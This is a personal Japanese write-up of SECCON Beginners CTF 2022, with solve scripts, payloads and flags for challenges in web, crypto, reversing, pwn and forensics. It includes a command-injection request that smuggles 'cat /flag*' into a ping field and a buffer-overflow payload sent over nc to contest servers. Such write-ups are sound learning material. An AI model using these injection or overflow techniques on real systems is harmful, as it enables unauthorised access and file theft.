SECCON Beginners CTF 2022 (ctf4b) writeup

概要

2022/06/04-2022/06/05にかけて行われたSECCON Beginners CTF 2022 (ctf4b) に一人チーム Metronome で参加しました。

解いた問題は Welcome / Util / hitchhike4b / CoughingFox / Command / Quiz / BeginnersBot / H2 / phisher / Recursive / WinTLS でした。

結果は順位が 95/891 teams, 得点が 820pt でした。

p-1

p-2

詳細

Welcome

discord serverにフラグがあるいつものsanity check。

ctf4b{W3LC0M3_70_53CC0N_B361NN3R5_C7F_2022}

Util

フロントエンドバリデーションをしているweb問。
直接リクエストを投げればよい。

curl -X POST https://util.quals.beginners.seccon.jp/util/ping -H "Content-Type: application/json" -d '{"address": "1.1.1.1 | cat /flag* #"}'

ctf4b{al1_0vers_4re_i1l}

hitchhike4b

ソースコードの配布のないmisc問だが、実行すると以下のように表示されるので手元で試す。

# Source Code

import os
os.environ["PAGER"] = "cat" # No hitchhike(SECCON 2021)

if __name__ == "__main__":
    flag1 = "********************FLAG_PART_1********************"
    help() # I need somebody ...

if __name__ != "__main__":
    flag2 = "********************FLAG_PART_2********************"
    help() # Not just anybody ...

手元でガチャガチャしていたら main を入力するとflag1が手に入ることが分かった。しかしリモートではうまく行かず、 __main__ の入力で通った。

help> __main__
Help on module __main__:

NAME
    __main__

DATA
    __annotations__ = {}
    flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

しかしflag2が分からない。どうしたものかと思い雑にflagのファイル名から拡張子を抜いたものを入れてみる。2回入れたらflagが出てきた。なぜ…

help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
Help on module app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc:

NAME
    app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
    flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
    /home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

ctf4b{53cc0n_15_1n_my_34r5_4nd_1n_my_3y35}

CoughingFox

暗号化した出力から元のflagを復元せよというCrypto問。

まず、shuffleされていることから結果に対しindexでアクセスして何かするのは無理そう。こういう時は総和などのindexによらない指標を考えるとよい。
と思ったら、そもそも $c_i = (f_i + i)^2 + i$ という形式で生成されているので、 $i$ が小さいことから $i$ で総当たりして引いてみて平方数なら $i$ を確定させていくという方針でよい。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

import math

def is_square(i: int) -> bool:
    return i == math.isqrt(i) ** 2

length = len(cipher)

flag = [0]*length
print(flag)
for c in cipher:
    for l in range(length):
        if is_square(c-l):
            f = math.isqrt(c-l)-l
            flag[l] = f
print(''.join([chr(x) for x in flag]))

ctf4b{Hey,Fox?YouCanNotTearThatHouseDown,CanYou?}

Command

AESのCBC modeの暗号文から別の暗号文を生成せよというCrypto問。今回はブロックが16byteで1ブロック、かつivを指定できるので平文を自由に操作することができる。

Google CTF 2016 Writeup - Eucalypt Forest, Wolf Spider - sonickun.log を参考にして、組み立てる。

と思ったらうまく行かない。pad/unpad周りが理解できてない雰囲気を感じ取り調べる

OpenSSLでAES暗号したときのPadding この記事が参考になってpaddingを理解。

# h = 'cbc6c6c6e80f15da5061486adeffad36b98599fadfa3ed853c1922a86f121e4d'
h = '778da59a00ef76e40d067b6ba8b384af86a1d2c6bc32a15e9cd59b5c57ae35ee'

b = bytes.fromhex(h)
iv = b[:16]
enc = b[16:]

print(iv, enc)
# fizzbuzz
# getflag
text1 = 'getflag\x09\x09\x09\x09\x09\x09\x09\x09\x09'
# text2 = 'primes\x08'
text2 = 'fizzbuzz\x08\x08\x08\x08\x08\x08\x08\x08'
L = len(text1)
arr = []
for i in range(L):
    t = ord(text1[i])^ord(text2[i])
    arr.append(t)
ans = []
print(arr)
for i in range(L):
    by = iv[i]^arr[i]
    ans.append(by)
for i in range(L,16):
    ans.append(iv[i])
print((bytes(ans) + enc).hex())

出てきたコードを 2 の暗号文を戻して実行するやつに突っ込むとフラグを得る。

ctf4b{b1tfl1pfl4ppers}

個人的にはCommandが優勝だと思った。AESの仕組み理解に役立つと感じたし、自分があまりAES理解していなかったのがこれで理解深まったので。

Quiz

rev問。

radare2で s <tab> すると、

ctf4b_w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07

あきらかに怪しい。そのままでは通らない。

記号かな?とちょっと考えて以下で通った。

ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

BeginnersBot

初心者向けバッファオーバーフローのPwn問。

gdb-pedaとpattcとpattoあたりを眺めつつ地道にpayloadを作った。16byte alignmentは気にした気がする。

以下のようなファイルを用意 (python3 -c 'print("A"*... + "\x00...")' > input_debug_0 のようにして生成)

❯ hexdump input_debug_0 
0000000 3436 410a 4141 4141 4141 4141 4141 4141
0000010 4141 4141 4141 4141 4141 4141 4141 4141
0000020 4141 4141 4141 4141 4141 e6c3 4011 0000
0000030 0000 0a00                              
0000034

./chall < input_debug_0 でうまくいくことを確認して、ncで接続

❯ nc beginnersbof.quals.beginners.seccon.jp 9000 < input_debug_0 
How long is your name?
What's your name?
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
Segmentation fault

ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}

H2

pcapが配られるmisc問。

wiresharkで見るとき、Http2なのでdecode asしてやる

header count 5でfilter

Frame 739024: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits)
Ethernet II, Src: 00:00:00_00:00:00 (00:00:00:00:00:00), Dst: 00:00:00_00:00:00 (00:00:00:00:00:00)
Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
Transmission Control Protocol, Src Port: 8080, Dst Port: 58020, Seq: 56, Ack: 118, Len: 99
HyperText Transfer Protocol 2
    Stream: HEADERS, Stream ID: 1, Length 90, 200 OK
        Length: 90
        Type: HEADERS (1)
        Flags: 0x04
        0... .... .... .... .... .... .... .... = Reserved: 0x0
        .000 0000 0000 0000 0000 0000 0000 0001 = Stream Identifier: 1
        [Pad Length: 0]
        Header Block Fragment: 884085f2b4b40e6fa122656a3fffd3a5358a2b5054458f5c…
        [Header Length: 184]
        [Header Count: 5]
        Header: :status: 200 OK
        Header: x-flag: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
            Name Length: 6
            Name: x-flag
            Value Length: 42
            Value: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
            [Unescaped: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}]
            Representation: Literal Header Field with Incremental Indexing - New Name
        Header: content-type: text/plain; charset=utf-8
        Header: content-length: 23
        Header: date: Tue, 31 May 2022 15:03:15 GMT

ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}

phisher

はじめはhomograph attack makerとかで検索してたけどうまくいかない。

Dockerファイルが配られているので、以下のようなコードを書いて総当たり

o を探す例

if __name__ == "__main__":
    for i in range(0xff,0xffff):
        c = chr(i)
        c = "www.examle.c{}m".format(c)
        out = ocr(text2png(c))
        if 'o' in out:
            print("char = ", c, " out = ", out)

p-3

ctf4b{n16h7_ph15h1n6_15_600d}

Recursive

ELFのrev問。
途中、tableという変数を元に比較を行うcheck関数がghidraで見つかる。tableをガッと取ってきて、flagの長さを調節してみた。

比較の最後でindexと比較対象のtableの値を出力すれば正しいflagが出てくる。

table = [0x63, 0x74, 0x60, 0x2a, 0x66, 0x34, 0x28, 0x2b, 0x62, 0x63, 0x39, 0x35, 0x22, 0x2e, 0x38, 0x31, 0x62, 0x7b, 0x68, 0x6d, 0x72, 0x33, 0x63, 0x2f, 0x7d, 0x72, 0x40, 0x3a, 0x7b, 0x26, 0x3b, 0x35, 0x31, 0x34, 0x6f, 0x64, 0x2a, 0x3c, 0x68, 0x2c, 0x6e, 0x27, 0x64, 0x6d, 0x78, 0x77, 0x3f, 0x6c, 0x65, 0x67, 0x28, 0x79, 0x6f, 0x29, 0x6e, 0x65, 0x2b, 0x6a, 0x2d, 0x7b, 0x28, 0x60, 0x71, 0x2f, 0x72, 0x72, 0x33, 0x7c, 0x28, 0x24, 0x30, 0x2b, 0x35, 0x73, 0x2e, 0x7a, 0x7b, 0x5f, 0x6e, 0x63, 0x61, 0x75, 0x72, 0x24, 0x7b, 0x73, 0x31, 0x76, 0x35, 0x25, 0x21, 0x70, 0x29, 0x68, 0x21, 0x71, 0x27, 0x74, 0x3c, 0x3d, 0x6c, 0x40, 0x5f, 0x38, 0x68, 0x39, 0x33, 0x5f, 0x77, 0x6f, 0x63, 0x34, 0x6c, 0x64, 0x25, 0x3e, 0x3f, 0x63, 0x62, 0x61, 0x3c, 0x64, 0x61, 0x67, 0x78, 0x7c, 0x6c, 0x3c, 0x62, 0x2f, 0x79, 0x2c, 0x79, 0x60, 0x6b, 0x2d, 0x37, 0x7b, 0x3d, 0x3b, 0x7b, 0x26, 0x38, 0x2c, 0x38, 0x75, 0x35, 0x24, 0x6b, 0x6b, 0x63, 0x7d, 0x40, 0x37, 0x71, 0x40, 0x3c, 0x74, 0x6d, 0x30, 0x33, 0x3a, 0x26, 0x2c, 0x66, 0x31, 0x76, 0x79, 0x62, 0x27, 0x38, 0x25, 0x64, 0x79, 0x6c, 0x32, 0x28, 0x67, 0x3f, 0x37, 0x31, 0x37, 0x71, 0x23, 0x75, 0x3e, 0x66, 0x77, 0x28, 0x29, 0x76, 0x6f, 0x6f, 0x24, 0x36, 0x67, 0x29, 0x3a, 0x29, 0x5f, 0x63, 0x5f, 0x2b, 0x38, 0x76, 0x2e, 0x67, 0x62, 0x6d, 0x28, 0x25, 0x24, 0x77, 0x28, 0x3c, 0x68, 0x3a, 0x31, 0x21, 0x63, 0x27, 0x72, 0x75, 0x76, 0x7d, 0x40, 0x33, 0x60, 0x79, 0x61, 0x21, 0x72, 0x35, 0x26, 0x3b, 0x35, 0x7a, 0x5f, 0x6f, 0x67, 0x6d, 0x30, 0x61, 0x39, 0x63, 0x32, 0x33, 0x73, 0x6d, 0x77, 0x2d, 0x2e, 0x69, 0x23, 0x7c, 0x77, 0x7b, 0x38, 0x6b, 0x65, 0x70, 0x66, 0x76, 0x77, 0x3a, 0x33, 0x7c, 0x33, 0x66, 0x35, 0x3c, 0x65, 0x40, 0x3a, 0x7d, 0x2a, 0x2c, 0x71, 0x3e, 0x73, 0x67, 0x21, 0x62, 0x64, 0x6b, 0x72, 0x30, 0x78, 0x37, 0x40, 0x3e, 0x68, 0x2f, 0x35, 0x2a, 0x68, 0x69, 0x3c, 0x37, 0x34, 0x39, 0x27, 0x7c, 0x7b, 0x29, 0x73, 0x6a, 0x31, 0x3b, 0x30, 0x2c, 0x24, 0x69, 0x67, 0x26, 0x76, 0x29, 0x3d, 0x74, 0x30, 0x66, 0x6e, 0x6b, 0x7c, 0x30, 0x33, 0x6a, 0x22, 0x7d, 0x37, 0x72, 0x7b, 0x7d, 0x74, 0x69, 0x7d, 0x3f, 0x5f, 0x3c, 0x73, 0x77, 0x78, 0x6a, 0x75, 0x31, 0x6b, 0x21, 0x6c, 0x26, 0x64, 0x62, 0x21, 0x6a, 0x3a, 0x7d, 0x21, 0x7a, 0x7d, 0x36, 0x2a, 0x60, 0x31, 0x5f, 0x7b, 0x66, 0x31, 0x73, 0x40, 0x33, 0x64, 0x2c, 0x76, 0x69, 0x6f, 0x34, 0x35, 0x3c, 0x5f, 0x34, 0x76, 0x63, 0x5f, 0x76, 0x33, 0x3e, 0x68, 0x75, 0x33, 0x3e, 0x2b, 0x62, 0x79, 0x76, 0x71, 0x23, 0x23, 0x40, 0x66, 0x2b, 0x29, 0x6c, 0x63, 0x39, 0x31, 0x77, 0x2b, 0x39, 0x69, 0x37, 0x23, 0x76, 0x3c, 0x72, 0x3b, 0x72, 0x72, 0x24, 0x75, 0x40, 0x28, 0x61, 0x74, 0x3e, 0x76, 0x6e, 0x3a, 0x37, 0x62, 0x60, 0x6a, 0x73, 0x6d, 0x67, 0x36, 0x6d, 0x79, 0x7b, 0x2b, 0x39, 0x6d, 0x5f, 0x2d, 0x72, 0x79, 0x70, 0x70, 0x5f, 0x75, 0x35, 0x6e, 0x2a, 0x36, 0x2e, 0x7d, 0x66, 0x38, 0x70, 0x70, 0x67, 0x3c, 0x6d, 0x2d, 0x26, 0x71, 0x71, 0x35, 0x6b, 0x33, 0x66, 0x3f, 0x3d, 0x75, 0x31, 0x7d, 0x6d, 0x5f, 0x3f, 0x6e, 0x39, 0x3c, 0x7c, 0x65, 0x74, 0x2a, 0x2d, 0x2f, 0x25, 0x66, 0x67, 0x68, 0x2e, 0x31, 0x6d, 0x28, 0x40, 0x5f, 0x33, 0x76, 0x66, 0x34, 0x69, 0x28, 0x6e, 0x29, 0x73, 0x32, 0x6a, 0x76, 0x67, 0x30, 0x6d, 0x34]

def check(st, i, orig):
    iVar3 = len(st)
    if iVar3 == 1:
        if table[i] != st[0]:
            # print("orig = ",orig ,"i = ", i, " table = ", table[i])
            print(chr(table[i]), end="")
            return 0
    else:
        iVar1 = iVar3 // 2
        _dest = st[:iVar1]
        iVar2 = check(_dest, i, orig)
        if iVar2 == 1:
            return 1
        _dest = st[iVar1:]
        i = iVar1*iVar1 + i
        iVar3 = check(_dest, i, orig+iVar1)
        if iVar3 == 1:
            return 1
    return 0


check("ctf{aaaxaaaxaaaxaaaxaaaxaaaxaaaxxaaxa}", 0, 0)

ctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}

WinTLS

Windowsバイナリのrev問

なんでexe?と思ったら、TLSはスレッド局所記憶というのらしい

要はstoreでしょと思ってget/setをghidraで追いかける

TlsSetValue(TLS,"tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}");

TlsSetValue(TLS,"c4{fAPu8#FHh2+0cyo8$SWJH3a8X");

怪しい~~~!!!なんかおぼろげながら ctf4b が見える

追いかけていくとfizzbuzzみたいなことしてたのでpythonで書き直す

text1 = "c4{fAPu8#FHh2+0cyo8$SWJH3a8X" # ==3 || == 5
text2 = "tfb%s$T9NvFyroLh@89a9yoC3rPy&3b}" # != 3 && != 5

ans = ""
ind1 = 0
ind2 = 0
for i in range(len(text1+text2)):
    if i %3 == 0 or i%5 == 0:
        ans += text1[ind1]
        ind1 += 1
    else:
        ans += text2[ind2]
        ind2+= 1
print(ans)

ctf4b{f%sAP$uT98Nv#FFHyrh2o+Lh0@8c9yoa98$ySoCW3rJPH3y&a83Xb}

終わりに

もう解けんしええかと早めに切り上げるのをやめて、ずっと格闘できたのが収穫でした。
 運営の皆様、楽しいCTFをありがとうございました。